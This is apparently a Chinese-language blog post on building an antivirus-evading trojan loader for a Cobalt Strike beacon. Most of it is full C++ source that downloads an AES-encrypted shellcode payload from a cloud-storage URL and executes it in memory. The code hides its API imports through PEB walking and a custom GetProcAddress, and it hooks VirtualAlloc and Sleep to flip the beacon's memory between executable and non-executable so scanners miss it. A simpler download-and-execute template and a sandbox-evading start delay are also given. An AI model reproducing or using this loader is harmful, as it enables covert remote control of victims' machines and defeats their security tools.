首先創(chuàng)建號(hào)oss，上傳文件，復(fù)制臨時(shí)鏈接

木馬內(nèi)寫


可以看到能成功上線但是有個(gè)問題就是占用cpu大小為9%左右，這里我用的是騰訊云oss實(shí)現(xiàn)的，用阿里云oss實(shí)現(xiàn)也是9%左右

我再次進(jìn)行url的aes加密

還是百分之9左右，
這里給出主代碼
ConsoleApplication17_2_3.cpp：

#include <iostream>
#include<Windows.h>
#include "detours.h"
#include "detver.h"
#include <WinInet.h>
#include "base64.h"
#include "AES.h"
#include "need.h"#pragma comment(lib,"detours.lib")
#pragma comment(lib,"wininet")#pragma warning(disable:4996)
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")extern "C" PVOID64 _cdecl GetPeb();
using namespace std;LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;typedef LPVOID(WINAPI* InternetOpenUrlW_T)(_In_ HINTERNET hInternet,_In_ LPCWSTR lpszUrl,_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,_In_ DWORD dwHeadersLength,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext
);typedef LPVOID(WINAPI* VirtualAllocT)(_In_opt_ LPVOID lpAddress,_In_     SIZE_T dwSize,_In_     DWORD flAllocationType,_In_     DWORD flProtect);typedef HINTERNET(WINAPI* InternetOpenW_T)(_In_opt_ LPCWSTR lpszAgent,_In_ DWORD dwAccessType,_In_opt_ LPCWSTR lpszProxy,_In_opt_ LPCWSTR lpszProxyBypass,_In_ DWORD dwFlags);typedef HINTERNET(WINAPI* InternetConnectW_T)(_In_ HINTERNET hInternet,_In_ LPCWSTR lpszServerName,_In_ INTERNET_PORT nServerPort,_In_opt_ LPCWSTR lpszUserName,_In_opt_ LPCWSTR lpszPassword,_In_ DWORD dwService,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(_In_ HINTERNET hConnect,_In_opt_ LPCWSTR lpszVerb,_In_opt_ LPCWSTR lpszObjectName,_In_opt_ LPCWSTR lpszVersion,_In_opt_ LPCWSTR lpszReferrer,_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpSendRequestW_T)(_In_ HINTERNET hRequest,_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,_In_ DWORD dwHeadersLength,_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,_In_ DWORD dwOptionalLength);typedef HINTERNET(WINAPI* InternetReadFile_T)(_In_ HINTERNET hFile,_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,_In_ DWORD dwNumberOfBytesToRead,_Out_ LPDWORD lpdwNumberOfBytesRead);FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {// Get the address of the module's PE headerBYTE* pImageBase = (BYTE*)hModule;IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);// Get the address of the export directoryIMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);if (strcmp(lpProcName, pName) == 0) {WORD ordinal = pAddressOfNameOrdinals[i];DWORD functionRVA = pAddressOfFunctions[ordinal];FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);return pFunction;}}return NULL;
}HMODULE getKernel32Address()
{PVOID64 Peb = GetPeb();PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018);  //0x018是LDR相對(duì)于PEB偏移   存放著LDR的基地址UNICODE_STRING* FullName;HMODULE hKernel32 = NULL;LIST_ENTRY* pNode = NULL;pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30));  //偏移到InInitializationOrderModuleListwhile (true){FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移if (*(FullName->Buffer + 12) == '\0'){hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBasebreak;}pNode = pNode->Flink;}return hKernel32;
}HMODULE getWininetAddress()
{HMODULE hWininet = nullptr;// 獲取模塊句柄hWininet = GetModuleHandle(L"wininet.dll");return hWininet;
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要關(guān)心chain，可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//進(jìn)行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失敗！解密出錯(cuò)！！" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}//Hook VirtualAlloc函數(shù)的原因是我們需要知道Beacon在自展開時(shí)分配的可執(zhí)行內(nèi)存起始地址和大小是多少好在后面對(duì)這塊內(nèi)存取消X屬性以免被掃描
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {Beacon_data_len = dwSize;Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);printf("分配大小:%d", Beacon_data_len);printf("分配地址:%llx \n", Beacon_address);return Beacon_address;
}//Hool Sleep函數(shù)是因?yàn)槲覀冃枰贐eacon進(jìn)入Sleep后立馬取消Beacon內(nèi)存區(qū)域的X屬性
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
void WINAPI NewSleep(DWORD dwMilliseconds)
{if (Vir_FLAG){VirtualFree(shellcode_addr, 0, MEM_RELEASE);Vir_FLAG = false;}printf("sleep時(shí)間:%d\n", dwMilliseconds);SetEvent(hEvent);OldSleep(dwMilliseconds);
}void Hook()
{DetourRestoreAfterWith(); //避免重復(fù)HOOK，恢復(fù)原來HOOKDetourTransactionBegin(); // 開始HOOKDetourUpdateThread(GetCurrentThread());  //刷新當(dāng)前線程DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //將攔截的函數(shù)附加到原函數(shù)的地址上,這里可以攔截多個(gè)函數(shù)  NewVirtualAllocDetourAttach((PVOID*)&OldSleep, NewSleep);    //將攔截的函數(shù)附加到原函數(shù)的地址上, 這里可以攔截多個(gè)函數(shù)  NewSleepDetourTransactionCommit(); //  提交HOOK
}void UnHook()
{DetourTransactionBegin();   //恢復(fù)原來HOOKDetourUpdateThread(GetCurrentThread());   //刷新當(dāng)前線程DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);  //解除hookDetourTransactionCommit();  //提交
}size_t GetSize(char* szFilePath)
{size_t size;FILE* f = fopen(szFilePath, "rb");fseek(f, 0, SEEK_END);  //fseek函數(shù)用于重定位流(數(shù)據(jù)流/文件)上的文件內(nèi)部位置指針   //SEEK_END代表文件末尾size = ftell(f); //獲取文件的 當(dāng)前指針位置 相對(duì)于 文件首地址 的偏移字節(jié)數(shù)rewind(f);  //rewind() 函數(shù)將文件位置指示符設(shè)置為給定文件流的開頭fclose(f);return size;
}unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{unsigned char* p = NULL;FILE* f = NULL;size_t res = 0;*size = GetSize(szFilePath);  //if (*size == 0) return NULL;f = fopen(szFilePath, "rb");if (f == NULL){printf("Binary file does not exists!\n");return 0;}p = new unsigned char[*size];// Read filerewind(f);res = fread(p, sizeof(unsigned char), *size, f);fclose(f);if (res == 0){delete[] p;return NULL;}return p;
}BOOL is_Exception(DWORD64 Exception_addr)
{if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address){printf("地址符合:%llx\n", Exception_addr);return true;}printf("地址不符合:%llx\n", Exception_addr);return false;
}//設(shè)置VEH異常處理函數(shù)，用來在因內(nèi)存X屬性取消后觸發(fā)異常時(shí)恢復(fù)X屬性
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{printf("FirstVectExcepHandler\n");printf("異常錯(cuò)誤碼:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);printf("線程地址:%llx\n", pExcepInfo->ContextRecord->Rip);if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005 && is_Exception(pExcepInfo->ContextRecord->Rip))    //判斷異常錯(cuò)誤碼是否等于0xc0000005，并且調(diào)用is_Exception函數(shù)來判斷pExcepInfo->ContextRecord->Rip是否符合某個(gè)條件。pExcepInfo 是一個(gè)指向異常信息結(jié)構(gòu)體 EXCEPINFO 的指針，用于存儲(chǔ)關(guān)于異常的詳細(xì)信息，ContextRecord 是 EXCEPTION_RECORD 結(jié)構(gòu)體的一個(gè)成員，它是一個(gè)指向上下文記錄的指針，其中包含有關(guān)引發(fā)異常的線程的上下文信息{printf("恢復(fù)Beacon內(nèi)存屬性\n");VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);  //恢復(fù)beacon內(nèi)存屬性return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}//然后創(chuàng)建一個(gè)線程用來在Beacon進(jìn)入睡眠之后立刻取消Beacon內(nèi)存區(qū)域的X屬性
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{printf("Beacon_set_Memory_attributes啟動(dòng)\n");while (true){WaitForSingleObject(hEvent, INFINITE);   //INFINITE表示等待時(shí)間無限長，直到收到信號(hào)為止printf("設(shè)置Beacon內(nèi)存屬性不可執(zhí)行\(zhòng)n");VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);   //內(nèi)存屬性ResetEvent(hEvent);     //重置事件對(duì)象}return 0;
}int main()
{//創(chuàng)建事件用來同步線程hEvent = CreateEvent(NULL, TRUE, false, NULL);AddVectoredExceptionHandler(1, &FirstVectExcepHandler);   //表示注冊一個(gè)優(yōu)先級(jí)為 1 的向量化異常處理程序，并將其指向名為 FirstVectExcepHandler 的函數(shù)。當(dāng)發(fā)生相應(yīng)的異常時(shí)，被注冊的處理程序 FirstVectExcepHandler 將會(huì)被調(diào)用。Hook();HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);   //創(chuàng)建線程CloseHandle(hThread1);   //關(guān)閉句柄unsigned char* BinData = NULL;size_t payload_len = 500000;std::string enurl = "pPbUyIQfH7fYmeRslKZqDYZr0E6Wsnmx6jpO+b/j4Of6teqdsWN7vb1iORsQ4N6PyM4spn1foZ5XaCz7WyB/fz4o57xKWhUeaSzjJqcMAkSodsafasfsafaKwSA2QPfI83Sfi8yzkqpMxQ3xt3pjRPcARUef2DZdPM39NBt+1aA/jrCqkjP2Oj0odxnh447CVmf1aNQJDJ4B5h3VHy8LhtVJWkmBYEVJjHTM1XhQBaB0x2HA2hIFxP6lRHacgjEOhzMmfoaLICVvGGYyi/vejZ2EDeKx1lW9oPc298560BH/aYiZtE+QzHGNJ8A1rgxo44oAQXdhww6HAT8hf1XE+tgacogdQUUcaWxU//YUnrrEIIs7HIWq/sALDhxyXHNmmlzeDEVVISRQbtwmVbK9CZalstMUcf4oZBhPqthmkvO2S1+egWp/45+R+UjiB752T5dLhphd5CiVKxXHg8Dp1I0Usu8mATPbHIJigT4LEcCHRInw663iBUsYgIQYcg00sxhqcOhmtbvwt18Vhv12o3fUQwJ2ifz3tzCGReOVoT3JqVc9L8G/GdWzI/uyO23qh6FY/rCS14lZGGqAaHMOp8ylHyEzNHVSEiVRnXjG1ZfJdXqO9WYOu3dznrRylx7ScWBvv4qOKU9QeHSF7UcgMx0eFLZTGud0dy4PNsS4Nz+DvMyBoubTlCKFEdpVM9amRI1o3+gA21wfbKiagsKyuwO6XCHXHFLXq33zJqB4cDuJL6HrreH4FTIkba3+PLqf2GKLqtkh7jIjgXmvb3HPH0Sng41jFJ8WC6tCzvXn8=";string deurl = DecryptionAES(enurl);int urlLen = MultiByteToWideChar(CP_UTF8, 0, deurl.c_str(), -1, NULL, 0);LPWSTR urlLPCWSTR = new WCHAR[urlLen];MultiByteToWideChar(CP_UTF8, 0, deurl.c_str(), -1, urlLPCWSTR, urlLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;//shellcode_addr = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  	//使用默認(rèn)設(shè)置創(chuàng)建會(huì)話char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);shellcode_addr = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//創(chuàng)建請求//reqfile = InternetOpenUrl(session, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);char IOU[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','W',0 };InternetOpenUrlW_T pHOR = (InternetOpenUrlW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), IOU);reqfile = pHOR(session, urlLPCWSTR, NULL, 0, INTERNET_FLAG_RELOAD, 0);//發(fā)送請求并讀取響應(yīng)//HttpSendRequest(reqfile, NULL, 0, 0, 0);char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);pHSR(reqfile, NULL, 0, 0, 0);//InternetReadFile(reqfile, shellcode_addr, payload_len, &nread);char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);pIRF(reqfile, shellcode_addr, payload_len, &nread);std::string AESEncodedContent(reinterpret_cast<const char*>(shellcode_addr), nread);std::string base64DecodedContent;string AESDecodedContent = DecryptionAES(AESEncodedContent);base64DecodedContent = ko::Base64::decode(AESDecodedContent);//char* szFilePath = "F:\\Tools\\beacon811.bin";    //BinData = ReadBinaryFile(szFilePath, &size);    //ReadBinaryFile函數(shù)能直接讀取二進(jìn)制文件LPVOID fiber = ConvertThreadToFiber(NULL);//CopyMemory(shellcode_addr, base64DecodedContent.data, base64DecodedContent.size());memcpy(shellcode_addr, base64DecodedContent.data(), base64DecodedContent.size());    //將內(nèi)存復(fù)制進(jìn)去VirtualProtect(shellcode_addr, payload_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);   //修改內(nèi)存屬性LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)shellcode_addr, NULL);SwitchToFiber(shellFiber);/*(*(int(*)()) shellcode_addr)();*/UnHook();return 0;
}//整體思路：Beacon進(jìn)入睡眠就取消它內(nèi)存的可執(zhí)行屬性，等Beacon線程醒來時(shí)觸發(fā)異常交由VEH異常處理函數(shù)恢復(fù)內(nèi)存的可執(zhí)行屬性，然后Beacon執(zhí)行完成后又進(jìn)入睡眠一直重復(fù)上述過程

這段代碼在ConsoleApplication17_2的基礎(chǔ)上進(jìn)行更改，請求方式從之前的ip和端口和文件名改成了一個(gè)url實(shí)現(xiàn)
是基于如下模板改的

#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include <string>
#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")int main()
{void* exec;int payload_len = 280000;   //shellcode大小  std::string url = "http://x.x.x.x/beacon.bin";   //完整的URL，包括主機(jī)和路徑HINTERNET session;HINTERNET reqfile;DWORD nread;exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);   //申請內(nèi)存//使用默認(rèn)設(shè)置創(chuàng)建會(huì)話session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//將std::string轉(zhuǎn)換為char*const char* urlChar = url.c_str();//創(chuàng)建請求reqfile = InternetOpenUrlA(session, urlChar, NULL, 0, INTERNET_FLAG_RELOAD, 0);//發(fā)送請求并讀取響應(yīng)InternetReadFile(reqfile, exec, payload_len, &nread);((void(*)())exec)();//關(guān)閉所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(session);
}

免殺效果

增加上線延遲

clock_t start_time = clock();// 記錄當(dāng)前時(shí)鐘數(shù)
while ((clock() - start_time) / CLOCKS_PER_SEC < 5) {} //循環(huán)等待5秒鐘